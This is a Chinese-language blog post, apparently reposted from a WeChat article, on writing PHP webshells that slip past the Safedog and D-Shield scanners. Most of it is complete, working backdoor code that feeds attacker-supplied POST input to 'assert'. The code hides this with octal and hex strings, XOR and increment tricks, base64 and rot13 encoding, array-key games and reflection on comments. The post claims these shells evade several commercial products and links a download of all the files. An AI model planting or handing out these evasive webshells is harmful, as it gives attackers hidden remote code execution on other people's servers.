前言#
不知道怎麼了,最近 Freebuf 和合天智匯都在發繞過 waf 的文章,一般來說都是見光死,而且只敢偶爾發一篇
但是最近連續幾天都是 bypass 的文章,那就記錄一下
原文來源: https://mp.weixin.qq.com/s/aAK2pLf3XX8AKz2-UoQbYQ
這篇文章就是將原文做一遍,侵刪
環境配置及 webshell 了解#
- Virtualbox+Win7 SP1
- phpstudy2018 最近都沒更新:http://down.php.cn/PhpStudy20180211.zip
- 安全狗,使用的是 Apache 版 V4.0:http://free.safedog.cn/website_safedog.html
- D 盾,使用的是 Web 查殺版:http://www.d99net.net/
關於給 Windows 中的 phpstudy 配置安全狗這裡有坑,在安裝安全狗的時候會跳出來一個配置界面:
請自動忽略裡面的紅字,Win7 的話,先把 phpstudy 設置為服務模式,服務中出現 apache 服務後,停止 phpstudy,然後手動啟動 apache 服務後安全狗就可以安裝了
針對 win10 的話,你將 phpstudy 設置為系統服務模式的話,在 services.msc 中也是看不到 apache 的服務的,需要自己手動安裝 (cmd):
- cd C:\phpStudy\PHPTutorial\Apache\bin
- httpd.exe -k install -n apache2.4
然後啟動 apache2.4 服務,安全狗就能識別了
在 bypass 開始之前我們先了解一下 webshell 的組成:
webshell 再怎麼變化,都需要滿足圖中的兩個條件,那麼繞過 waf 就是通過變化這兩個條件來實現的
我們先測試下 waf 的檢測機制,我們準備以下三個文件:
php_1.php:<?php eval($_POST['a']);?>
php_2.php:
<?php
$a = "phpinfo();";
eval($a);?>
php_3.php:<?php $_POST['a'];?>
用安全狗檢測一下:
帶有 eval 的敏感字符與及敏感傳參的 $_POST 並沒有報毒,可以猜測 waf 的一部分機制是參數追蹤與及綜合判定。
bypass#
1. 關鍵字繞過
php 是個非常強大的語言對於字符串的各種變化都支持的非常好。
我們可以用進制轉換,十六進制,八進制之類的。
<?php
$a="\141";#八進制的a
$a .= "\163";#八進制的s
$a .= "\x73";#十六進制的s
$a .= "\x65";#十六進制的e
$a .= "\x72";#十六進制的r
$a .= "\164";#十六進制的t
@$a($_POST["a"]);
?>
為什麼不用 eval 而用 assert:eval 並不是一個函數,不支持這樣子的調用。
這樣就 bypass 了安全狗但是過不了 D 盾:
2. 算術運算
我們可以同通過自增,異或,取反等方法來獲得我們想要的字母,再組合成函數,動態調用即可。
例如通過定義 a 然後進行自增運算得到其他想要的字符,但是注意並不能進行自減
但是我們這樣子取出來的只有小寫字符,並不能得到我們想要_POST,_GET。
在 PHP 中,兩個字符串執行異或操作以後,得到的還是一個字符串。
所以這裡我們就可以用異或,取反來取我們想要的大寫字母。
寫個 php 腳本:
<?php
$a=array( "|","!", "@", "#", "%", "^", "&", "*", "(", ")", "-", "=", "_", "+", "<", ">", "?", "." , "{" , "}", "[", "]", "\\","~","`","/"); //特殊字符
$alength=count($a);
for($x=0;$x<$alength;$x++) {
for($b=0;$b<$alength;$b++){
echo "the result is ".($a[$x]^$a[$b])." the str is ".$a[$x].$a[$b]."<br>"; //輸出遍歷異或結果
}}
?>
把能想到特殊字符全部丟進去得到遍歷異或的結果,然後再取我們想要的字符。這裡我們就以取_POST 為例子。
_可以用 | 和 #來進行異或得到:
然後一個個找出來,得到的結果就是:
結合我們上面的自增我們可以得到以下代碼:
<?php
$_ = ('!'^'@');//a
$__ = $_;
$_++;#b
$_++;#c
$_++;#d
$_++;#e
$____ = $_;
$_++;#f
$_++;#g
$_++;#h
$_++;#i
$_++;#j
$_++;#k
$_++;#l
$_++;#m
$_++;#n
$_++;#o
$_++;#p
$_++;#q
$_++;#r
$___ = $_;
$_++;#s
$__ = $__.$_.$_.$____.$___;
$_++;#t
$__ = $__.$_;//assert
@$_____=('?'^'`').('-'^'}').('/'^'`').('('^'{').('~'^'*');// _POST
@$__(${$_____}[$_]);//t
?>
測試一下,可以過安全狗,但是過不了 D 盾,可是我們的安全等級下降了,問題不大,繼續肝:
3. 編碼加拼接
通過 base64 與及 rot13 編碼,動態函數調用得到以下代碼:
<?php
function moza($hello){
$b ="bmZmcmVn";
$d = str_rot13(base64_decode($b));
@$d($hello);
}
moza($_POST[1]);
?>
穩過安全狗,但是還是沒有過 D 盾,可是等級我們再次降低了一個級別,變成二級了:
我們可以再結合一下上面所說的,把自增運算與及參數的傳遞打破一下檢測的規則。
<?php
function moza($a){
$_ = ('!'^'@');//a
$__ = $_;
$_++;$_++;$_++;$_++;$____ = $_;$_++;$_++;$_++;$_++;$_++;$_++;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___ = $_;$_++;
$__ = $__.$_.$_.$____.$___;$_++;$__ = $__.$_;//assert
@$__($a);
}
$a=$_POST[1];
moza($a=$a);
print_r($_);
?>
可以發現,安全狗我們再次無壓力,並且 D 盾等級再次降低,降到了一级,只報了一個變量函數,針對這一點,我們再改一下。這次我們可以採用數組的方式,經過多次變換,再加上參數擾亂達到 bypass 的目的。
代碼如下:
<?php
$a1=array("a"=>"red","ss"=>"green","c"=>"blue","er"=>"hello","t"=>"hey");
$a2=array("a"=>"red","ss"=>"blue","d"=>"pink","er"=>"hellos","moza"=>"good_boy","t"=>"hey");
$result=array_intersect_key($a1,$a2);//取數組交集
$a = array_keys($result);//取數組鍵值
$man = $a[0].$a[1].$a[2]."t";
$kk=$_POST['a'];
@$man($kk=$kk);
print_r($a1);//擾亂規則
?>
可以發現我們已經 bypass 掉了安全狗,D 盾,深信服,360 主機衛士。
當然遠不止這種方法,php 實在太靈活了。
- uopz_function()
- uasort()
- uksort()
- array_uintersect_uassoc()
- array_udiff_assoc()
等等,都可以用來 bypass,用法可以自己嘗試。
大佬還貼出了另外兩種思路:
這個一句話是在鵬城杯線下賽中出現的,通過自增得到關鍵字,然後定義類,類內函數自調用來進行 bypass。
<?php
error_reporting(0);//去除錯誤回顯
class Foo //創建名為FOO的類
{
function Variable($c)
{
$name = 'Bar';
$b=$this->$name(); // 調用Bar
$b($c);
}
function Bar()
{
$__='a';
$a1=$__; //$a1=a;
$__++;$__++;$__++;$__++;//$a__=e;
$a2=$__; //$a2=e;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//$__=r;
$a3=$__++; //$a3=r;$__=s;
$a4=$__++; //$a4=s;$__=t;
$a5=$__; //$a5=$__=t;
$a=$a1.$a4.$a4.$a2.$a3.$a5; //$a=assert
return $a; //將$a的值返回
}
}
function variable(){
$_='A';
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; //$_=O;
$b1=$_++; //$b1=O;$_=P;
$b2=$_; //$b2=$_=P
$_++;$_++;$_++; //$_=S
$b3=$_++; //$b3=S;$_=T;
$b4=$_; //$b4=$_=T;
$b='_'.$b2.$b1.$b3.$b4;//$b=_POST
return $b; //將$b的值返回
}
$foo = new Foo(); //創建名為foo對象
$funcname = "Variable"; //將Variable的值賦給變量funcname
$bb=${variable()}[variable()]; // $bb=_POST[_POST]);
$foo->$funcname($bb); //調用 $foo->Variable($bb)
?>
另一種,我們可以利用 php 的反射機制,獲取註釋的內容,然後拼湊出 assert,從而動態執行,代碼如下:
<?php
/**
-
as
-
5
-
se
-
*/
class a{
function say(){$moza = "good_boy";}
}
$aa = new ReflectionClass(new a());//建立反射對象
$arr = explode("*", $aa->getDocComment());//獲取對象a的註釋
$str = ereg_replace("-","",$arr[2]);//獲取對象a的註釋
$payload = $str[4].$str[15].$str[15]."ert";//assert
$a = $_POST['a'];@$payload($a=$a);
?>
效果如下:
這樣子也可以 bypass D 盾安全狗 等。
Bypass 的思路還有:
- 快取寫 webshell
- 回調函數
- 正則匹配繞過
- 匿名函數
本文所有文件已打包:https://www.lanzous.com/i2xe6pa